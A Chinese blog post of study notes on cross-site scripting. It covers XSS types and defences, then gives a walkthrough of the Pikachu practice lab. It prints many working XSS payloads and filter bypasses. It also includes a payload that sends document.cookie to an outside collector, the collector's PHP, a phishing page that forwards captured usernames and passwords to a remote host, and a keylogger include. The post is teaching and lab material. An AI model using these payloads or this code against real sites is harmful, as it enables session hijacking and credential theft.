WebSec-xss

1. 关于xss

cwe: https://cwe.mitre.org/data/definitions/79.html

挖掘思路就是,对输入点反复测试,查看返回的源码。

1.1 分类

按危害性排名:存储型>反射型>DOM型

一般查询接口容易出现反射型xss,留言评论容易出现存储型xss。

1.2 和csrf区分一下

区别一:是否需要登录cookie

区别二:原理上,csrf利用网站本身漏洞,

核心原理是:不需要你做任何的登录认证,它会通过合法的操作(比如在url中输入、在评论框中输入),向你的页面注入脚本(可能是js、hmtl代码块等)。

导致的结果可能是:盗用Cookie破坏页面的正常结构,插入广告等恶意内容,以及DDOS攻击。

1.3 措施

传统的方法是:编码,过滤,校正。

原则就是,过滤输入,转义输出。

1.3.1 编码

常见编码/转义:

  • html实体,包括十进制(&#11111,), 十六进制(&#x1111), unicode编码(\u1111)
  • url编码: %11%22%33

对用户输入的数据进行HTML Entity 编码。将$var等变量作为纯文本进行输出,且不引起JavaScript的执行。

在OWASP ESAPI中推荐了一种更严格的HtmlEncode:除了字母、数字外,所有的特殊字符都被编码成HTMLEntities。

对于DOM Based XSS,如果是输出到事件或脚本,要做一次javascriptEncode;如果是输出到HTML内容或者属性,要做一次HtmlEncode。

有些框架会自动编码来解决XSS问题,如Ruby 3.0 、 React JS。

最好的办法是对所有不可信的HTTP请求数据进行恰当的转义 。

1.3.2 过滤

禁止页面的JS访问带有HttpOnly属性的Cookie。

网站允许用户提交一些自定义的HTML代码,称之为富文本,如视频表格,所以要移除用户输入的Style节点、Script节点、Iframe节点等。尤其是支持跨域的Script节点。

html实体

php的html实体转换函数,示例见存储型xsshtmlspecialchars

注意默认不编码单引号。

CSP

Content Security Policy (CSP) - HTTP | MDN (mozilla.org)

Content Security Policy,是对抗XSS的深度防御策略。

网页的开发者可以控制整个页面中 外部资源 的加载和执行。
比如可以控制哪些 域名下的静态资源可以被页面加载,哪些不能被加载。

我们只需要在meta属性中设置下即可:如下代码:

<meta http-equiv="Content-Security-Policy" content="">

1.3.3 校正

使用DOM Parse转换,校正不配对的DOM标签。

1.4 绕过

pikachu-xss过滤实例

转换:大小写、拼接、注释、编码

可以使用burpsuite的编码模块。

img标签: <img src=1 onerror="alert(/xss/)">。 但这种情况不能和url编码混用,因为不会解码。

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet, 这个网站每年会公布一些xss代码。

href属性支持[javascript伪协议](#xss href输出)

2. 靶场练习

可以使用bp repeater模块进行重放测试。

2.1 pikachu

反射型(GET)

随便提交几个1和敏感符号, 1111"'<>

都没有过滤,查看源码:

<p class='notice'>who is 1111"'<>,i don't care!</p>

改成1111</p><script>alert(1)</script>,预期效果:

<p class='notice'>who is 1111</p><script>alert(1)</script> <P>,i don't care!</p>

但粘贴发现input限制了长度,需要改一下maxlength:

<input class="xssr_in" type="text" maxlength="20" name="message" />

然后成功弹窗。

反射型(POST)

连接失败则可能是靶机上还没有初始化数据库。

按照提示,先登录一下admin/123456, 然后和上一题get型一样,顺利弹窗。。。

F12看下包吧(bp repeater也可以)

请添加图片描述

发现有个302重定向到xss_reflected_post.php

直接看下源码,点击“退出登陆”会清空post_login.php设置的用户名和密码cookie,然后回到post_login.php;表单和上一题一样,只不过没限制输入长度。

xss_reflected_post.php里调用了check_xss_login()检查是否登录,否则会跳转回post_login.php。这一部分可以搭配pkxss管理后台来练习

存储型XSS

再次强调,留言评论容易出现存储型xss。

提交个aaa<>"'试试

<p class='con'>aaa<>"'</p><a href='xss_stored.php?id=59'>删除</a>

提交的评论会显示在页面上。

再构造个script标签</p><script>alert("xss")</script>

<p class='con'>  </p><script>alert("xss")</script>  <p> </p><a href='xss_stored.php?id=59'>删除</a>

成功弹窗。

再构造个img标签</p><img src="#" onclick="alert('xss')">一张图片</img><p>

<p class='con'>  </p><img src="#" onclick="alert('xss')">一张图片</img><p>  </p><a href='xss_stored.php?id=59'>删除</a>

只要点击图片就会弹窗。

请添加图片描述


现在看下源码里从数据库取出评论然后显示的逻辑:

<?php echo $html;
    $query="select * from message";
    $result=execute($link, $query);
    while($data=mysqli_fetch_assoc($result)){
        echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
    }

    echo $html;
?>

加一下过滤:

<?php echo $html;
    $query="select * from message";
    $result=execute($link, $query);
    while($data=mysqli_fetch_assoc($result)){
        $encoded_data = htmlspecialchars($data['content']);
        echo "<p class='con'>{$encoded_data}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
    }

    echo $html;
?>

刚刚提交的xss就失效了:
请添加图片描述

DOM xss

查看源码:

<script>
    function domxss(){
        var str = document.getElementById("text").value;
        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
    //试试:'><img src="#" οnmοuseοver="alert('xss')">
    //试试:' οnclick="alert('xss')">,闭合掉就行
</script>

答案也在注释里给出来了,其实就是闭合这个a标签

<a href='   '>what do you see?</a>;

不加>也可以

<a href='  ' onclick="alert('xss')"  '>what do you see?</a>;

点击“what do you see”就会弹窗。

DOM xss-x

<script>
    function domxss(){
        var str = window.location.search;
        var txss = decodeURIComponent(str.split("text=")[1]);
        var xss = txss.replace(/\+/g,' ');		// 加号替换为空格
        //                        alert(xss);

        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    }
    //试试:'><img src="#" οnmοuseοver="alert('xss')">
    //试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<form method="get">
    <input id="text" name="text" type="text"  value="" />
    <input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

这一题需要构造好输入后,先点击"请说出你的伤心往事"提交get请求,再点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”执行domxss()函数。

xss盲打

盲打就是在一切可能的地方尽可能多的提交xss语句. payload不会在前端进行输出,当管理员查看时就会遭到xss攻击。

随便输入点什么,会显示“谢谢参与,阁下的看法我们已经收到!”。

点击提示,说先访问admin_login.php登录一下,然后就会在admin.php显示刚刚提交的评论。

再次提交一段xss代码(aaa<script>alert("xss")</script>)后访问admin.php,会弹两次窗。

<?php
    $query="select * from xssblind";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
        $html=<<<A
            <tr>
            <td>{$data['id']}</td>
            <td>{$data['time']}</td>
            <td>{$data['content']}</td>
            <td>{$data['name']}</td>
            <td><a href="admin.php?id={$data['id']}">删除</a></td>
            </tr>
        A;
        echo $html;
	}

?>

xss过滤

尝试大小写绕过:<SCRIPT>alert("XSS");</SCRIPT>, 成功弹窗

尝试拼凑:<scr<script>ipt>alert("xss")</scr</script>ipt>, 失败,变成了ipt>alert("xss")ipt>

尝试注释干扰:<scr<!--x-->ipt>alert("xss")</scr<!--x-->ipt>,失败,还是变成了ipt>alert("xss")ipt>'

尝试用其它标签:<img src=1 onmouseover="alert('xss');"> , 成功弹窗,,onclick onerror也都行

尝试hex编码:

>>> strXss='<img src=\'alert("xss");\'>'
>>> for i in strXss:
...     a = hex(ord(i)).replace("0x", "%")
...     print(a, end="")
...
%3c%69%6d%67%20%73%72%63%3d%27%61%6c%65%72%74%28%22%78%73%73%22%29%3b%27%3e

失败,,

看下源码xss_01.php,过滤的是<script

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}

htmlspecialchars

PHP: htmlspecialchars - Manual

输入aaa

<a href="aaa">aaa</a>

输入aaa<>"'

<a href="aaa<>"" '="">aaa&lt;&gt;"'</a>

单引号似乎没处理好,再单独提交一个单引号:

<a href=" " '=""> '</a>

又多试了几次,单引号会变成双引号,而且后面会加上'="

像这种引号不好用的时候,可以用反斜杠表示字符串,alert(/xss/)

提交1" onclick="alert(/xss/),点击并没有弹窗。但换成单引号后,1' onclick='alert(/xss/), 点击就能弹窗了。

htmlspecialchars默认是不处理单引号的,,但刚刚的双引号是怎么回事???

看下源码:

//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面,试试:' οnclick='alert(111)'
//        $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";

这里直接用伪协议填充href也可以,payload: javascript:alert(/xss/)

xss href输出

后端把引号都过滤了:

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
    }
    if($_GET['message'] == 'www.baidu.com'){
        $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
    }else {
        //输出在a标签的href属性里面,可以使用javascript协议来执行js
        //防御:只允许http,https,其次在进行htmlspecialchars处理
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
    }
}

直接用伪协议填充href也可以,payload: javascript:alert(/xss/)

防范方法:判断字符串以http或者https开头

xss js输出

提交几个a,查看源码:

<script>
    $ms='aaaaaaa';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }


</script>

//...
<p id="fromjs"></p>

提交引号和尖括号都能带进ms变量:$ms=''"<>';

现在构造输入来闭合script标签:'</script><script>alert(/xss/)</script><script>$a='1

<script>
    $ms=''</script><script>alert(/xss/)</script><script>$a='1';
    if($ms.length != 0){
	//...
</script>

成功弹窗。

也可以输入';alert(/xss/);//


查看下源码:

if(isset($_GET['submit']) && $_GET['message'] !=null){
    $jsvar=$_GET['message'];
//    $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
    if($jsvar == 'tmac'){
        $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}

把htmlspecialchars注释去掉,则刚刚的payload失效:

<script>
    $ms='`'&lt;/script&gt;&lt;script&gt;alert(/xss/)&lt;/script&gt;&lt;script&gt;$a='1`';
    if($ms.length != 0){
    //...

pkxss-盗取cookie

pikachu 管理工具里面提供了一个简易的xss管理后台, 用来测试钓鱼和捞cookie。

cookies最典型的应用就是判断用户是否登录。网购购物车也常用到cookie。

后台的cookie.php中,为了防止被目标怀疑,也要重定向到一个可信的网站,这里重定向到靶场主页:

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pk/index.php");//重定向到一个可信的网站

这里拿需要登录的post反射型题目来示范。

构建一下payload,

<script>document.location='http://10.10.10.133/pk/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>

xss/xsspost/post_login.php登录后,xss_reflected_post.php输入payload,成功重定向到了首页,然后F12查看下cookie:
请添加图片描述

pkxss查看一下后台,cookie是一样的:
请添加图片描述

现在,访问/pk/vul/xss/xsspost/xss_reflected_post.php会重定向到post_login.php,F12设置一下cookie,就不会重定向了。另外path可以不设置(原本应是/pk/vul/xss/xsspost)。
请添加图片描述


也可以使用pk\pkxss\xcookie\post.html,它是重定向到了xss_reflected_post.php。当然这个网页还需要做的再真实一点。

<form method="post" action="http://192.168.1.4/pk/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />		
    <!-- type最好改成hidden -->
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>

pkxss-钓鱼

PHP 以 Apache 模块方式运行时的HTTP 认证机制:https://www.php.net/manual/en/features.http-auth.php

两个关键的预定义变量:

$_SERVER[PHP_AUTH_USER]
$_SERVER[PHP_AUTH_PW]
$_SERVER[AUTH_TYPE]

以下是pk\pkxss\xfish\fish.php源码:

<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
	//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
	//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");		// IP需要改一下
}

?>

以存储型xss为例,构造payload:

</p><script>document.location='http://10.10.10.133/pk/pkxss/xfish/fish.php'</script>

提交后弹窗要求输入用户密码,然后会重定向到xfish.php。
请添加图片描述

xfish.php没有再次重定向,可以修改一下让它跳到一个正常的网页。

pkxss查看数据库:
请添加图片描述

目标机器再次访问存储型xss页面时,没有再弹窗,可以抓包看下变化。

清空缓存并重启浏览器后抓包:

GET /pk/pkxss/xfish/fish.php HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.10.133/pk/vul/xss/xss_stored.php
Cookie: PHPSESSID=p97rfldn0o7jas8vhl8d7f3tu6
Upgrade-Insecure-Requests: 1

认证后抓包:

GET /pk/pkxss/xfish/fish.php HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46MTIzNDU2
Connection: close
Referer: http://10.10.10.133/pk/vul/xss/xss_stored.php
Cookie: PHPSESSID=vju2kqi6m7drihj3kkgps1c7v1
Upgrade-Insecure-Requests: 1

对比发现,认证后多出Authorization: Basic YWRtaW46MTIzNDU2,一串base64编码。

另外如果现在是在友情测试,这个页面现在会一直重定向,需要给它恢复一下,有两种方法:

  • 管理员删除数据库
  • 前端有删除按钮,抓包看链接内容,跳转到xss_stored.php?id=ID就删除了。

pkxss-键盘记录

pk/pkxss/rkeypress/rk.js和rkserver.php,可以学习一下如何跨域。

构建payload:

</p><script src='http://10.10.10.133/pk/pkxss/rkeypress/rk.js' />

这里抓包可以执行了rk.js,但后台没有看到数据。。需要找一个老一些的浏览器。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值